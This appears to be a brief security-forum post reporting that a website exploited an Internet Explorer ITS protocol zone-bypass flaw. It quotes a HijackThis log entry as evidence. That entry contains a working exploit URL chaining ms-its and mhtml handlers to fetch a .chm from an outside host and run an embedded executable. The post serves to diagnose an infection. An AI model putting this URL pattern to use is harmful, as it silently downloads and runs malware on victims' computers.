weba.directwebsearch.net seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log:
O16 - DPF: {11010101-1001-1111-1000-110112345678} - ms-its:mhtml:file://c:\nosuch.mht!http://weba.directwebsearch.net/winsearchie32.chm::/winsearchie32.exe
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